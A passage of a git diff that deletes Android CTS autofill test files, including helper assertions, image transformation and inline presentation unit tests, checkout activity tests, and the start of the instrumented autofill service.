-            case AutofillCallback.EVENT_INPUT_UNAVAILABLE:
-                return "UNAVAILABLE";
-            default:
-                return "UNKNOWN:" + event;
-        }
-    }
-
-    public static String importantForAutofillAsString(int mode) {
-        switch (mode) {
-            case View.IMPORTANT_FOR_AUTOFILL_AUTO:
-                return "IMPORTANT_FOR_AUTOFILL_AUTO";
-            case View.IMPORTANT_FOR_AUTOFILL_YES:
-                return "IMPORTANT_FOR_AUTOFILL_YES";
-            case View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS:
-                return "IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS";
-            case View.IMPORTANT_FOR_AUTOFILL_NO:
-                return "IMPORTANT_FOR_AUTOFILL_NO";
-            case View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS:
-                return "IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS";
-            default:
-                return "UNKNOWN:" + mode;
-        }
-    }
-
-    public static boolean hasHint(@Nullable String[] hints, @Nullable Object expectedHint) {
-        if (hints == null || expectedHint == null) return false;
-        for (String actualHint : hints) {
-            if (expectedHint.equals(actualHint)) return true;
-        }
-        return false;
-    }
-
-    public static Bundle newClientState(String key, String value) {
-        final Bundle clientState = new Bundle();
-        clientState.putString(key, value);
-        return clientState;
-    }
-
-    public static void assertAuthenticationClientState(String where, Bundle data,
-            String expectedKey, String expectedValue) {
-        assertWithMessage("no client state on %s", where).that(data).isNotNull();
-        final String extraValue = data.getString(expectedKey);
-        assertWithMessage("invalid value for %s on %s", expectedKey, where)
-                .that(extraValue).isEqualTo(expectedValue);
-    }
-
-    /**
-     * Asserts that 2 bitmaps have are the same. If they aren't throws an exception and dump them
-     * locally so their can be visually inspected.
-     *
-     * @param filename base name of the files generated in case of error
-     * @param bitmap1 first bitmap to be compared
-     * @param bitmap2 second bitmap to be compared
-     */
-    // TODO: move to common code
-    public static void assertBitmapsAreSame(@NonNull String filename, @Nullable Bitmap bitmap1,
-            @Nullable Bitmap bitmap2) throws IOException {
-        assertWithMessage("1st bitmap is null").that(bitmap1).isNotNull();
-        assertWithMessage("2nd bitmap is null").that(bitmap2).isNotNull();
-        final boolean same = bitmap1.sameAs(bitmap2);
-        if (same) {
-            Log.v(TAG, "bitmap comparison passed for " + filename);
-            return;
-        }
-
-        final File dir = getLocalDirectory();
-        if (dir == null) {
-            throw new AssertionError("bitmap comparison failed for " + filename
-                    + ", and bitmaps could not be dumped on " + dir);
-        }
-        final File dump1 = dumpBitmap(bitmap1, dir, filename + "-1.png");
-        final File dump2 = dumpBitmap(bitmap2, dir, filename + "-2.png");
-        throw new AssertionError(
-                "bitmap comparison failed; check contents of " + dump1 + " and " + dump2);
-    }
-
-    @Nullable
-    private static File getLocalDirectory() {
-        final File dir = new File(LOCAL_DIRECTORY);
-        dir.mkdirs();
-        if (!dir.exists()) {
-            Log.e(TAG, "Could not create directory " + dir);
-            return null;
-        }
-        return dir;
-    }
-
-    @Nullable
-    private static File createFile(@NonNull File dir, @NonNull String filename) throws IOException {
-        final File file = new File(dir, filename);
-        if (file.exists()) {
-            Log.v(TAG, "Deleting file " + file);
-            file.delete();
-        }
-        if (!file.createNewFile()) {
-            Log.e(TAG, "Could not create file " + file);
-            return null;
-        }
-        return file;
-    }
-
-    @Nullable
-    private static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File dir,
-            @NonNull String filename) throws IOException {
-        final File file = createFile(dir, filename);
-        if (file != null) {
-            dumpBitmap(bitmap, file);
-
-        }
-        return file;
-    }
-
-    @Nullable
-    public static File dumpBitmap(@NonNull Bitmap bitmap, @NonNull File file) {
-        Log.i(TAG, "Dumping bitmap at " + file);
-        BitmapUtils.saveBitmap(bitmap, file.getParent(), file.getName());
-        return file;
-    }
-
-    /**
-     * Creates a file in the device, using the name of the current test as a prefix.
-     */
-    @Nullable
-    public static File createTestFile(@NonNull String name) throws IOException {
-        final File dir = getLocalDirectory();
-        if (dir == null) return null;
-
-        final String prefix = TestNameUtils.getCurrentTestName().replaceAll("\\.|\\(|\\/", "_")
-                .replaceAll("\\)", "");
-        final String filename = prefix + "-" + name;
-
-        return createFile(dir, filename);
-    }
-
-    /**
-     * Offers an object to a queue or times out.
-     *
-     * @return {@code true} if the offer was accepted, {$code false} if it timed out or was
-     * interrupted.
-     */
-    public static <T> boolean offer(BlockingQueue<T> queue, T obj, long timeoutMs) {
-        boolean offered = false;
-        try {
-            offered = queue.offer(obj, timeoutMs, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            Log.w(TAG, "interrupted offering", e);
-            Thread.currentThread().interrupt();
-        }
-        if (!offered) {
-            Log.e(TAG, "could not offer " + obj + " in " + timeoutMs + "ms");
-        }
-        return offered;
-    }
-
-    /**
-     * Calls this method to assert given {@code string} is equal to {@link #LARGE_STRING}, as
-     * comparing its value using standard assertions might ANR.
-     */
-    public static void assertEqualsToLargeString(@NonNull String string) {
-        assertThat(string).isNotNull();
-        assertThat(string).hasLength(LARGE_STRING_SIZE);
-        assertThat(string.charAt(0)).isEqualTo(LARGE_STRING_CHAR);
-        assertThat(string.charAt(LARGE_STRING_SIZE - 1)).isEqualTo(LARGE_STRING_CHAR);
-    }
-
-    /**
-     * Asserts that autofill is enabled in the context, retrying if necessariy.
-     */
-    public static void assertAutofillEnabled(@NonNull Context context, boolean expected)
-            throws Exception {
-        assertAutofillEnabled(context.getSystemService(AutofillManager.class), expected);
-    }
-
-    /**
-     * Asserts that autofill is enabled in the manager, retrying if necessariy.
-     */
-    public static void assertAutofillEnabled(@NonNull AutofillManager afm, boolean expected)
-            throws Exception {
-        Timeouts.IDLE_UNBIND_TIMEOUT.run("assertEnabled(" + expected + ")", () -> {
-            final boolean actual = afm.isEnabled();
-            Log.v(TAG, "assertEnabled(): expected=" + expected + ", actual=" + actual);
-            return actual == expected ? "not_used" : null;
-        });
-    }
-
-    /**
-     * Asserts these autofill ids are the same, except for the session.
-     */
-    public static void assertEqualsIgnoreSession(@NonNull AutofillId id1, @NonNull AutofillId id2) {
-        assertWithMessage("id1 is null").that(id1).isNotNull();
-        assertWithMessage("id2 is null").that(id2).isNotNull();
-        assertWithMessage("%s is not equal to %s", id1, id2).that(id1.equalsIgnoreSession(id2))
-                .isTrue();
-    }
-
-    /**
-     * Asserts {@link View#isAutofilled()} state of the given view, waiting if necessarity to avoid
-     * race conditions.
-     */
-    public static void assertViewAutofillState(@NonNull View view, boolean expected)
-            throws Exception {
-        Timeouts.FILL_TIMEOUT.run("assertViewAutofillState(" + view + ", " + expected + ")",
-                () -> {
-                    final boolean actual = view.isAutofilled();
-                    Log.v(TAG, "assertViewAutofillState(): expected=" + expected + ", actual="
-                            + actual);
-                    return actual == expected ? "not_used" : null;
-                });
-    }
-
-    /**
-     * Allows the test to draw overlaid windows.
-     *
-     * <p>Should call {@link #disallowOverlays()} afterwards.
-     */
-    public static void allowOverlays() {
-        ShellUtils.setOverlayPermissions(MY_PACKAGE, true);
-    }
-
-    /**
-     * Disallow the test to draw overlaid windows.
-     *
-     * <p>Should call {@link #disallowOverlays()} afterwards.
-     */
-    public static void disallowOverlays() {
-        ShellUtils.setOverlayPermissions(MY_PACKAGE, false);
-    }
-
-    public static RemoteViews createPresentation(String message) {
-        final RemoteViews presentation = new RemoteViews(getContext()
-                .getPackageName(), R.layout.list_item);
-        presentation.setTextViewText(R.id.text1, message);
-        return presentation;
-    }
-
-    public static InlinePresentation createInlinePresentation(String message) {
-        final PendingIntent dummyIntent =
-                PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
-        return createInlinePresentation(message, dummyIntent, false);
-    }
-
-    public static InlinePresentation createInlinePresentation(String message,
-            PendingIntent attribution) {
-        return createInlinePresentation(message, attribution, false);
-    }
-
-    public static InlinePresentation createPinnedInlinePresentation(String message) {
-        final PendingIntent dummyIntent =
-                PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
-        return createInlinePresentation(message, dummyIntent, true);
-    }
-
-    private static InlinePresentation createInlinePresentation(@NonNull String message,
-            @NonNull PendingIntent attribution, boolean pinned) {
-        return new InlinePresentation(
-                InlineSuggestionUi.newContentBuilder(attribution)
-                        .setTitle(message).build().getSlice(),
-                new InlinePresentationSpec.Builder(new Size(100, 100), new Size(400, 100))
-                        .build(), /* pinned= */ pinned);
-    }
-
-    public static void mockSwitchInputMethod(@NonNull Context context) throws Exception {
-        final ContentResolver cr = context.getContentResolver();
-        final int subtype = Settings.Secure.getInt(cr, SELECTED_INPUT_METHOD_SUBTYPE);
-        Settings.Secure.putInt(cr, SELECTED_INPUT_METHOD_SUBTYPE, subtype);
-    }
-
-    /**
-     * Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
-     */
-    public static void resetApplicationAutofillOptions(@NonNull Context context) {
-        AutofillOptions options = AutofillOptions.forWhitelistingItself();
-        options.augmentedAutofillEnabled = false;
-        context.getApplicationContext().setAutofillOptions(options);
-    }
-
-    /**
-     * Clear AutofillOptions.
-     */
-    public static void clearApplicationAutofillOptions(@NonNull Context context) {
-        context.getApplicationContext().setAutofillOptions(null);
-    }
-
-    private Helper() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-
-    static class FieldClassificationResult {
-        public final AutofillId id;
-        public final String[] categoryIds;
-        public final float[] scores;
-
-        FieldClassificationResult(@NonNull AutofillId id, @NonNull String categoryId, float score) {
-            this(id, new String[] { categoryId }, new float[] { score });
-        }
-
-        FieldClassificationResult(@NonNull AutofillId id, @NonNull String[] categoryIds,
-                float[] scores) {
-            this.id = id;
-            this.categoryIds = categoryIds;
-            this.scores = scores;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
deleted file mode 100644
index 66e857b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-/**
- * Enum used to explain the meaning of node ids used by test cases.
- */
-enum IdMode {
-    RESOURCE_ID,
-    HTML_NAME,
-    HTML_NAME_OR_RESOURCE_ID
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
deleted file mode 100644
index 06bb218..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
+++ /dev/null
@@ -1,223 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.only;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.ImageTransformation;
-import android.service.autofill.ValueFinder;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class ImageTransformationTest {
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testAllNullBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new ImageTransformation.Builder(null, null, 0));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testNullAutofillIdBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new ImageTransformation.Builder(null, Pattern.compile(""), 1));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testNullRegexBuilder() {
-        assertThrows(NullPointerException.class,
-                () ->  new ImageTransformation.Builder(new AutofillId(1), null, 1));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void testNullSubstBuilder() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void fieldCannotBeFound() throws Exception {
-        AutofillId unknownId = new AutofillId(42);
-
-        ImageTransformation trans = new ImageTransformation
-                .Builder(unknownId, Pattern.compile("val"), 1)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(unknownId)).thenReturn(null);
-
-        trans.apply(finder, template, 0);
-
-        // if a view cannot be found, nothing is set
-        verify(template, never()).setImageViewResource(anyInt(), anyInt());
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void theOneOptionsMatches() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*"), 42)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 42);
-    }
-
-    @Test
-    public void theOneOptionsMatchesWithContentDescription() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*"), 42, "Are you content?")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 42);
-        verify(template).setContentDescription(0, "Are you content?");
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void noOptionsMatches() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile("val"), 42)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("bad-val");
-
-        trans.apply(finder, template, 0);
-
-        verify(template, never()).setImageViewResource(anyInt(), anyInt());
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void multipleOptionsOneMatches() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*1"), 1)
-                .addOption(Pattern.compile(".*2"), 2)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val-2");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 2);
-    }
-
-    @Test
-    public void multipleOptionsOneMatchesWithContentDescription() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*1"), 1, "Are you content?")
-                .addOption(Pattern.compile(".*2"), 2, "I am content")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("val-2");
-
-        trans.apply(finder, template, 0);
-
-        verify(template).setImageViewResource(0, 2);
-        verify(template).setContentDescription(0, "I am content");
-    }
-
-    @Test
-    @SuppressWarnings("deprecation")
-    public void twoOptionsMatch() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*a.*"), 1)
-                .addOption(Pattern.compile(".*b.*"), 2)
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("ab");
-
-        trans.apply(finder, template, 0);
-
-        // If two options match, the first one is picked
-        verify(template, only()).setImageViewResource(0, 1);
-    }
-
-    @Test
-    public void twoOptionsMatchWithContentDescription() throws Exception {
-        AutofillId id = new AutofillId(1);
-        ImageTransformation trans = new ImageTransformation
-                .Builder(id, Pattern.compile(".*a.*"), 1, "Are you content?")
-                .addOption(Pattern.compile(".*b.*"), 2, "No, I'm not")
-                .build();
-
-        ValueFinder finder = mock(ValueFinder.class);
-        RemoteViews template = mock(RemoteViews.class);
-
-        when(finder.findByAutofillId(id)).thenReturn("ab");
-
-        trans.apply(finder, template, 0);
-
-        // If two options match, the first one is picked
-        verify(template).setImageViewResource(0, 1);
-        verify(template).setContentDescription(0, "Are you content?");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java
deleted file mode 100644
index 6bef659..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-public class InitializedCheckoutActivity extends CheckoutActivity {
-
-    @Override
-    protected int getContentView() {
-        return R.layout.initialized_checkout_activity;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
deleted file mode 100644
index 43000cc..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InitializedCheckoutActivityTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.CheckoutActivity.ID_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_EXPIRATION;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
-import static android.autofillservice.cts.CheckoutActivity.ID_SAVE_CC;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_ADDRESS_HOME;
-import static android.autofillservice.cts.Helper.assertListValue;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertToggleValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.platform.test.annotations.AppModeFull;
-
-import org.junit.Test;
-
-/**
- * Test case for an activity containing non-TextField views with initial values set on XML.
- */
-@AppModeFull(reason = "CheckoutActivityTest() is enough")
-public class InitializedCheckoutActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<InitializedCheckoutActivity> {
-
-    private InitializedCheckoutActivity mCheckoutActivity;
-
-    @Override
-    protected AutofillActivityTestRule<InitializedCheckoutActivity> getActivityRule() {
-        return new AutofillActivityTestRule<InitializedCheckoutActivity>(
-                InitializedCheckoutActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mCheckoutActivity = getActivity();
-            }
-        };
-
-    }
-
-    @Test
-    public void testSanitization() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger auto-fill.
-        mCheckoutActivity.onCcNumber((v) -> v.requestFocus());
-
-        // Assert sanitization: most everything should be available...
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        assertTextAndValue(findNodeByResourceId(fillRequest.structure, ID_CC_NUMBER), "4815162342");
-        assertListValue(findNodeByResourceId(fillRequest.structure, ID_ADDRESS),
-                INDEX_ADDRESS_HOME);
-        assertToggleValue(findNodeByResourceId(fillRequest.structure, ID_SAVE_CC), true);
-
-        // ... except Spinner, whose initial value cannot be set by resources:
-        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InlinePresentationTest.java b/tests/autofillservice/src/android/autofillservice/cts/InlinePresentationTest.java
deleted file mode 100644
index b4ff09e..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InlinePresentationTest.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.net.Uri;
-import android.os.Parcel;
-import android.service.autofill.InlinePresentation;
-import android.util.Size;
-import android.widget.inline.InlinePresentationSpec;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class InlinePresentationTest {
-
-    @Test
-    public void testNullInlinePresentationSpecsThrowsException() {
-        assertThrows(NullPointerException.class,
-                () -> createInlinePresentation(/* createSlice */true, /* createSpec */  false));
-    }
-
-    @Test
-    public void testNullSliceThrowsException() {
-        assertThrows(NullPointerException.class,
-                () -> createInlinePresentation(/* createSlice */false, /* createSpec */  true));
-    }
-
-    @Test
-    public void testInlinePresentationValues() {
-        InlinePresentation presentation =
-                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
-
-        assertThat(presentation.isPinned()).isFalse();
-        assertThat(presentation.getInlinePresentationSpec()).isNotNull();
-        assertThat(presentation.getSlice()).isNotNull();
-        assertThat(presentation.getSlice().getItems().size()).isEqualTo(0);
-    }
-
-    @Test
-    public void testtInlinePresentationParcelizeDeparcelize() {
-        InlinePresentation presentation =
-                createInlinePresentation(/* createSlice */true, /* createSpec */  true);
-
-        Parcel p = Parcel.obtain();
-        presentation.writeToParcel(p, 0);
-        p.setDataPosition(0);
-
-        InlinePresentation targetPresentation = InlinePresentation.CREATOR.createFromParcel(p);
-        p.recycle();
-
-        assertThat(targetPresentation.isPinned()).isEqualTo(presentation.isPinned());
-        assertThat(targetPresentation.getInlinePresentationSpec()).isEqualTo(
-                presentation.getInlinePresentationSpec());
-        assertThat(targetPresentation.getSlice().getUri()).isEqualTo(
-                presentation.getSlice().getUri());
-        assertThat(targetPresentation.getSlice().getSpec()).isEqualTo(
-                presentation.getSlice().getSpec());
-    }
-
-    private InlinePresentation createInlinePresentation(boolean createSlice, boolean createSpec) {
-        Slice slice = createSlice ? new Slice.Builder(Uri.parse("testuri"),
-                new SliceSpec("type", 1)).build() : null;
-        InlinePresentationSpec spec = createSpec ? new InlinePresentationSpec.Builder(
-                new Size(100, 100), new Size(400, 100)).build() : null;
-        return new InlinePresentation(slice, spec, /* pined */ false);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
deleted file mode 100644
index 9e246df..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ /dev/null
@@ -1,737 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.FAILURE;
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
-import static android.autofillservice.cts.CannedFillResponse.ResponseType.TIMEOUT;
-import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.getActivityName;
-import static android.autofillservice.cts.Timeouts.CONNECTION_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.FILL_EVENTS_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.IDLE_UNBIND_TIMEOUT;
-import static android.autofillservice.cts.Timeouts.RESPONSE_DELAY_MS;
-import static android.autofillservice.cts.Timeouts.SAVE_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.assist.AssistStructure;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.CannedFillResponse.ResponseType;
-import android.content.ComponentName;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.os.CancellationSignal;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.SystemClock;
-import android.service.autofill.AutofillService;
-import android.service.autofill.Dataset;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.FillResponse;
-import android.service.autofill.SaveCallback;
-import android.util.Log;
-import android.view.inputmethod.InlineSuggestionsRequest;
-
-import androidx.annotation.Nullable;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.TestNameUtils;
-import com.android.compatibility.common.util.Timeout;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicReference;
-
-/**
- * Implementation of {@link AutofillService} used in the tests.
- */
-public class InstrumentedAutoFillService extends AutofillService {
-
-    static final String SERVICE_PACKAGE = Helper.MY_PACKAGE;
-    static final String SERVICE_CLASS = "InstrumentedAutoFillService";
-
-    static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
-
-    // TODO(b/125844305): remove once fixed
-    private static final boolean FAIL_ON_INVALID_CONNECTION_STATE = false;
-
-    private static final String TAG = "InstrumentedAutoFillService";
-
-    private static final boolean DUMP_FILL_REQUESTS = false;
-    private static final boolean DUMP_SAVE_REQUESTS = false;
-
-    protected static final AtomicReference<InstrumentedAutoFillService> sInstance =
-            new AtomicReference<>();
-    private static final Replier sReplier = new Replier();
-
-    private static AtomicBoolean sConnected = new AtomicBoolean(false);
-
-    protected static String sServiceLabel = SERVICE_CLASS;
-
-    // We must handle all requests in a separate thread as the service's main thread is the also
-    // the UI thread of the test process and we don't want to hose it in case of failures here
-    private static final HandlerThread sMyThread = new HandlerThread("MyServiceThread");
-    private final Handler mHandler;
-
-    private boolean mConnected;
-
-    static {
-        Log.i(TAG, "Starting thread " + sMyThread);
-        sMyThread.start();
-    }
-
-    public InstrumentedAutoFillService() {
-        sInstance.set(this);
-        sServiceLabel = SERVICE_CLASS;
-        mHandler = Handler.createAsync(sMyThread.getLooper());
-        sReplier.setHandler(mHandler);
-    }
-
-    private static InstrumentedAutoFillService peekInstance() {
-        return sInstance.get();
-    }
-
-    /**
-     * Gets the list of fill events in the {@link FillEventHistory}, waiting until it has the
-     * expected size.
-     */
-    public static List<Event> getFillEvents(int expectedSize) throws Exception {
-        final List<Event> events = getFillEventHistory(expectedSize).getEvents();
-        // Validation check
-        if (expectedSize > 0 && events == null || events.size() != expectedSize) {
-            throw new IllegalStateException("INTERNAL ERROR: events should have " + expectedSize
-                    + ", but it is: " + events);
-        }
-        return events;
-    }
-
-    /**
-     * Gets the {@link FillEventHistory}, waiting until it has the expected size.
-     */
-    public static FillEventHistory getFillEventHistory(int expectedSize) throws Exception {
-        final InstrumentedAutoFillService service = peekInstance();
-
-        if (expectedSize == 0) {
-            // Need to always sleep as there is no condition / callback to be used to wait until
-            // expected number of events is set.
